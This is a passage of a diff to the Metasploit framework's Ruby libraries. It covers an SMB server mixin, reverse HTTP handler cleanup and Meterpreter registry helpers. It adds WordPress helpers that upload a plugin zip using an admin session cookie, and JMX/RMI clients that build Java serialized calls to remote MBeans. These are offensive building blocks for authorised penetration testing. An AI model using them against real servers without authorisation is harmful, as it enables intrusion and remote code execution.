end
end
end
end
end
end

View File

@ -1,154 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# This mixin provides a minimal SMB server
#
###
module Exploit::Remote::SMBServer
include Exploit::Remote::TcpServer
include Exploit::NTLM
CONST = ::Rex::Proto::SMB::Constants
CRYPT = ::Rex::Proto::SMB::Crypt
UTILS = ::Rex::Proto::SMB::Utils
XCEPT = ::Rex::Proto::SMB::Exceptions
EVADE = ::Rex::Proto::SMB::Evasions
def initialize(info = {})
super
deregister_options('SSL', 'SSLCert')
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
], self.class)
end
def setup
super
@state = {}
end
def on_client_connect(client)
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
smb_conn(client)
end
def on_client_data(client)
# print_status("New data from #{client.peerhost}:#{client.peerport}")
smb_recv(client)
true
end
def on_client_close(client)
smb_stop(client)
end
def smb_conn(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
end
def smb_stop(c)
@state.delete(c)
end
def smb_recv(c)
smb = @state[c]
smb[:data] ||= ''
smb[:data] << c.get_once
while(smb[:data].length > 0)
return if smb[:data].length < 4
plen = smb[:data][2,2].unpack('n')[0]
return if smb[:data].length < plen+4
buff = smb[:data].slice!(0, plen+4)
pkt_nbs = CONST::NBRAW_PKT.make_struct
pkt_nbs.from_s(buff)
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
# Check for a NetBIOS name request
if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst
smb[:nbsrc] = host_src
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
c.write("\x82\x00\x00\x00")
next
end
#
# TODO: Support AndX parameters
#
# Cast this to a generic SMB structure
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
# Only response to requests, ignore server replies
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
print_status("Ignoring server response from #{smb[:name]}")
next
end
cmd = pkt['Payload']['SMB'].v['Command']
begin
smb_cmd_dispatch(cmd, c, buff)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
next
end
end
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
print_status("Received command #{cmd} from #{smb[:name]}")
end
def smb_set_defaults(c, pkt)
smb = @state[c]
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
end
def smb_error(cmd, c, errorclass, esn = false)
# 0xc0000022 = Deny
# 0xc000006D = Logon_Failure
# 0x00000000 = Ignore
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)
end
end
end

View File

@ -157,26 +157,15 @@ module ReverseHttp
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
end
#
# Simply calls stop handler to ensure that things are cool.
#
def cleanup_handler
stop_handler
end
#
# Basically does nothing. The service is already started and listening
# during set up.
#
def start_handler
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
self.service.remove_resource("/") if self.service
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
end
end
attr_accessor :service # :nodoc:
@ -228,6 +217,7 @@ protected
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})
self.pending_connections += 1
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)

View File

@ -552,6 +552,8 @@ protected
when ARCH_X64 then Metasm::X86_64.new
when ARCH_PPC then Metasm::PowerPC.new
when ARCH_ARMLE then Metasm::ARM.new
when ARCH_MIPSLE then Metasm::MIPS.new(:little)
when ARCH_MIPSBE then Metasm::MIPS.new(:big)
else
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
elog("Call stack:\n#{caller.join("\n")}")

View File

@ -68,7 +68,7 @@ module LDAP
0x02 => 'LDAP_PROTOCOL_ERROR',
0x0a => 'LDAP_REFERRAL',
0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',
0x09 => 'LDAP_REFERRAL_V2',
# 0x09 => 'LDAP_REFERRAL_V2', alias for LDAP_PARTIAL_RESULTS
0x46 => 'LDAP_RESULTS_TOO_LARGE',
0x51 => 'LDAP_SERVER_DOWN',
0x04 => 'LDAP_SIZELIMIT_EXCEEDED',

View File

@ -439,12 +439,10 @@ protected
subkeys = []
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
keys = open_key.enum_key
keys = session.sys.registry.enum_key_direct(root_key, base_key, perms)
keys.each { |subkey|
subkeys << subkey
}
open_key.close
return subkeys
rescue Rex::Post::Meterpreter::RequestError => e
return nil
@ -460,12 +458,10 @@ protected
vals = {}
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
vals = open_key.enum_value
vals = session.sys.registry.enum_value_direct(root_key, base_key, perms)
vals.each { |val|
values << val.name
}
open_key.close
return values
rescue Rex::Post::Meterpreter::RequestError => e
return nil
@ -480,10 +476,8 @@ protected
value = nil
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
v = open_key.query_value(valname)
v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms)
value = v.data
open_key.close
rescue Rex::Post::Meterpreter::RequestError => e
return nil
end
@ -516,9 +510,8 @@ protected
begin
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_WRITE, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
open_key.set_value(valname, session.sys.registry.type2str(type), data)
open_key.close
session.sys.registry.set_value_direct(root_key, base_key,
valname, session.sys.registry.type2str(type), data, perms)
return true
rescue Rex::Post::Meterpreter::RequestError => e
return nil

View File

@ -49,9 +49,6 @@ module UserProfiles
#
def parse_profile(hive)
profile={}
sidinf = resolve_sid(hive['SID'].to_s)
profile['UserName'] = sidinf[:name]
profile['Domain'] = sidinf[:domain]
profile['SID'] = hive['SID']
profile['ProfileDir'] = hive['PROF']
profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData')
@ -65,6 +62,12 @@ module UserProfiles
profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir'])
profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH')
sidinf = resolve_sid(hive['SID'].to_s)
if sidinf
profile['UserName'] = sidinf[:name]
profile['Domain'] = sidinf[:domain]
end
return profile
end

View File

@ -55,7 +55,7 @@ private
return hosts if opts[:addresses].class != Array
conditions = {}
conditions[:address] = opts[:addresses]
hent = wspace.hosts.all(:conditions => conditions)
hent = wspace.hosts.where(conditions)
hosts |= hent if hent.class == Array
end
return hosts
@ -73,7 +73,7 @@ private
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = h.services.all(:conditions => conditions)
sret = h.services.where(conditions)
next if sret == nil
services |= sret if sret.class == Array
services << sret if sret.class == ::Mdm::Service
@ -85,7 +85,7 @@ private
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = wspace.services.all(:conditions => conditions)
sret = wspace.services.where(conditions)
services |= sret if sret.class == Array
services << sret if sret.class == ::Mdm::Service
end
@ -189,8 +189,7 @@ public
ret = {}
ret[:hosts] = []
wspace.hosts.all(:conditions => conditions, :order => :address,
:limit => limit, :offset => offset).each do |h|
wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h|
host = {}
host[:created_at] = h.created_at.to_i
host[:address] = h.address.to_s
@ -226,8 +225,7 @@ public
ret = {}
ret[:services] = []
wspace.services.all(:include => :host, :conditions => conditions,
:limit => limit, :offset => offset).each do |s|
wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s|
service = {}
host = s.host
service[:host] = host.address || "unknown"
@ -258,7 +256,7 @@ public
ret = {}
ret[:vulns] = []
wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v|
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
vuln = {}
reflist = v.refs.map { |r| r.name }
if(v.service)
@ -423,7 +421,7 @@ public
conditions[:proto] = opts[:proto] if opts[:proto]
conditions[:port] = opts[:port] if opts[:port]
conditions[:name] = opts[:names] if opts[:names]
sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port")
sret = wspace.services.where(conditions).order("hosts.address, port")
else
sret = host.services
end
@ -564,8 +562,7 @@ public
ret = {}
ret[:notes] = []
wspace.notes.all(:include => [:host, :service], :conditions => conditions,
:limit => limit, :offset => offset).each do |n|
wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n|
note = {}
note[:time] = n.created_at.to_i
note[:host] = ""
@ -737,7 +734,7 @@ public
elsif opts[:addresses]
return { :result => 'failed' } if opts[:addresses].class != Array
conditions = { :address => opts[:addresses] }
hent = wspace.hosts.all(:conditions => conditions)
hent = wspace.hosts.where(conditions)
return { :result => 'failed' } if hent == nil
hosts |= hent if hent.class == Array
hosts << hent if hent.class == ::Mdm::Host
@ -749,7 +746,7 @@ public
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = h.services.all(:conditions => conditions)
sret = h.services.where(conditions)
next if sret == nil
services << sret if sret.class == ::Mdm::Service
services |= sret if sret.class == Array
@ -761,7 +758,7 @@ public
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = wspace.services.all(:conditions => conditions)
sret = wspace.services.where(conditions)
services << sret if sret and sret.class == ::Mdm::Service
services |= sret if sret and sret.class == Array
end
@ -794,7 +791,7 @@ public
elsif opts[:addresses]
return { :result => 'failed' } if opts[:addresses].class != Array
conditions = { :address => opts[:addresses] }
hent = wspace.hosts.all(:conditions => conditions)
hent = wspace.hosts.where(conditions)
return { :result => 'failed' } if hent == nil
hosts |= hent if hent.class == Array
hosts << hent if hent.class == ::Mdm::Host
@ -829,7 +826,7 @@ public
ret = {}
ret[:events] = []
wspace.events.all(:limit => limit, :offset => offset).each do |e|
wspace.events.offset(offset).limit(limit).each do |e|
event = {}
event[:host] = e.host.address if(e.host)
event[:created_at] = e.created_at.to_i
@ -874,7 +871,7 @@ public
ret = {}
ret[:loots] = []
wspace.loots.all(:limit => limit, :offset => offset).each do |l|
wspace.loots.offset(offset).limit(limit).each do |l|
loot = {}
loot[:host] = l.host.address if(l.host)
loot[:service] = l.service.name || l.service.port if(l.service)
@ -964,8 +961,7 @@ public
ret = {}
ret[:clients] = []
wspace.clients.all(:include => :host, :conditions => conditions,
:limit => limit, :offset => offset).each do |c|
wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c|
client = {}
client[:host] = c.host.address.to_s if c.host
client[:ua_string] = c.ua_string
@ -999,7 +995,7 @@ public
conditions = {}
conditions[:ua_name] = opts[:ua_name] if opts[:ua_name]
conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver]
cret = h.clients.all(:conditions => conditions)
cret = h.clients.where(conditions)
else
cret = h.clients
end

View File

@ -4,6 +4,7 @@
module Msf
module HTTP
module Wordpress
require 'msf/http/wordpress/admin'
require 'msf/http/wordpress/base'
require 'msf/http/wordpress/helpers'
require 'msf/http/wordpress/login'
@ -14,6 +15,7 @@ module Msf
require 'msf/http/wordpress/xml_rpc'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress::Admin
include Msf::HTTP::Wordpress::Base
include Msf::HTTP::Wordpress::Helpers
include Msf::HTTP::Wordpress::Login

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Admin
# Uploads a plugin using a valid admin session.
#
# @param name [String] The name of the plugin
# @param zip [String] The plugin zip file as a string
# @param cookie [String] A valid admin session cookie
# @return [Boolean] true on success, false on error
def wordpress_upload_plugin(name, zip, cookie)
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
if nonce.nil?
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
return false
end
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
data = Rex::MIME::Message.new
data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_update,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'vars_get' => { 'action' => 'upload-plugin' }
)
if res && res.code == 200
vprint_status("#{peer} - Uploaded plugin #{name}")
return true
else
vprint_error("#{peer} - Server responded with code #{res.code}") if res
vprint_error("#{peer} - Failed to upload plugin #{name}")
return false
end
end
end

View File

@ -119,4 +119,21 @@ module Msf::HTTP::Wordpress::Helpers
path_from_uri(location)
end
# Helper method to retrieve a valid plugin upload nonce.
#
# @param cookie [String] A valid admin session cookie
# @return [String,nil] The nonce, nil on error
def wordpress_helper_get_plugin_upload_nonce(cookie)
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
options = {
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => { 'tab' => 'upload' }
}
res = send_request_cgi(options)
if res && res.code == 200
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
end
end
end

View File

@ -87,6 +87,12 @@ module Msf::HTTP::Wordpress::URIs
normalize_uri(wordpress_url_backend, 'admin-post.php')
end
# Returns the Wordpress Admin Update URL
#
# @return [String] Wordpress Admin Update URL
def wordpress_url_admin_update
normalize_uri(wordpress_url_backend, 'update.php')
end
# Returns the Wordpress wp-content dir URL
#

View File

@ -92,8 +92,17 @@ module Msf::HTTP::Wordpress::Version
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
if res.nil? || res.code != 200
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no Readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
end
# try to extract version from readme
# Example line:

39
lib/msf/java/jmx.rb Normal file
View File

@ -0,0 +1,39 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Jmx
require 'msf/java/jmx/util'
require 'msf/java/jmx/discovery'
require 'msf/java/jmx/handshake'
require 'msf/java/jmx/mbean'
include Msf::Java::Jmx::Util
include Msf::Java::Jmx::Discovery
include Msf::Java::Jmx::Handshake
include Msf::Java::Jmx::Mbean
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
], HTTP::Wordpress
)
end
def jmx_role
datastore['JMX_ROLE']
end
def jmx_password
datastore['JMX_PASSWORD']
end
end
end
end

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle JMX end points discovery
module Discovery
# Builds a Rex::Java::Serialization::Model::Stream to discover
# an JMX RMI endpoint
#
# @return [Rex::Java::Serialization::Model::Stream]
def discovery_stream
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
block_data = Rex::Java::Serialization::Model::BlockData.new(
nil,
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
stream
end
end
end
end
end

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle a JMX handshake
module Handshake
# Builds a Rex::Java::Serialization::Model::Stream to make
# a JMX handshake with an endpoint
#
# @param id [String] The endpoint UnicastRef ObjId
# @return [Rex::Java::Serialization::Model::Stream]
def handshake_stream(obj_id)
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
if jmx_role
username = jmx_role
password = jmx_password || ''
stream.contents << auth_array_stream(username, password)
else
stream.contents << Rex::Java::Serialization::Model::NullReference.new
end
stream
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an authenticated handshake
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Rex::Java::Serialization::Model::NewArray]
def auth_array_stream(username, password)
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
auth_array
end
end
end
end
end

13
lib/msf/java/jmx/mbean.rb Normal file
View File

@ -0,0 +1,13 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
require 'msf/java/jmx/mbean/server_connection'
include Msf::Java::Jmx::Mbean::ServerConnection
end
end
end
end

View File

@ -0,0 +1,155 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
# This module provides methods which help to handle with MBean related calls.
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
# class
module ServerConnection
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the createMBean method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def create_mbean_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
# Java getObjectInstance method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def get_object_instance_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the Java invoke method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :object the object whose method we want to call
# @option opts [String] :method the method name to invoke
# @option opts [String] :args the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
object_name = opts[:object] || ''
method_name = opts[:method] || ''
arguments = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: 0xacf317f8060854e0, # serialVersionUID
values_type: 'byte',
values: invoke_arguments_stream(arguments).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
stream.contents << marshall_object
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java invoke method method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_arguments_stream(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end

89
lib/msf/java/jmx/util.rb Normal file
View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle data
# used by Java JMX
module Util
# Extracts a Rex::Java::Serialization::Model::NewObject from
# a Rex::Java::Serialization::Model::Stream
#
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
# @param id [Fixnum] the content position storing the object
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
def extract_object(stream, id)
new_object = nil
if stream.contents[id]
new_object = stream.contents[id]
else
return nil
end
unless new_object.class == Rex::Java::Serialization::Model::NewObject
return nil
end
new_object.class_desc.description.class_name.contents
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('n')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('N')[0]
int
end
# Extracts an UnicastRef (endpoint) information from an IO
#
# @param io [IO] the io to extract the int from
# @return [Hash, nil] the extracted int if success, nil otherwise
def extract_unicast_ref(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
id = io.read
{ address: address, port: port, id: id }
end
end
end
end
end

138
lib/msf/java/rmi/client.rb Normal file
View File

@ -0,0 +1,138 @@
# -*- coding: binary -*-
require 'rex/proto/rmi'
require 'rex/java/serialization'
require 'stringio'
module Msf
module Java
module Rmi
module Client
require 'msf/java/rmi/client/streams'
include Msf::Java::Rmi::Client::Streams
include Exploit::Remote::Tcp
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the target port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the RMI server peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Sends a RMI header stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_header
def send_header(opts = {})
nsock = opts[:sock] || sock
stream = build_header(opts)
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
end
# Sends a RMI CALL stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_call
def send_call(opts = {})
nsock = opts[:sock] || sock
stream = build_call(opts)
nsock.put(stream.encode)
end
# Sends a RMI DGCACK stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_dgc_ack
def send_dgc_ack(opts = {})
nsock = opts[:sock] || sock
stream = build_dgc_ack(opts)
nsock.put(stream.encode)
end
# Reads the Protocol Ack
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
def recv_protocol_ack(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
rescue ::RuntimeError
return nil
end
ack
end
# Reads a ReturnData message and returns the java serialized stream
# with the return data value.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Java::Serialization::Stream]
# @see Rex::Proto::Rmi::Model::ReturnData.decode
def recv_return(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
rescue ::RuntimeError
return nil
end
return_data.return_value
end
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [String]
def safe_get_once(nsock = sock)
data = ''
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
until res.nil? || res.length < 1448
data << res
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
end
data << res if res
data
end
end
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Rmi
module Client
module Streams
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
# @option opts [Fixnum] :message_id
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end
end

View File

@ -107,47 +107,48 @@ class Core
# Returns the list of commands supported by this command dispatcher
def commands
{
"?" => "Help menu",
"back" => "Move back from the current context",
"banner" => "Display an awesome metasploit banner",
"cd" => "Change the current working directory",
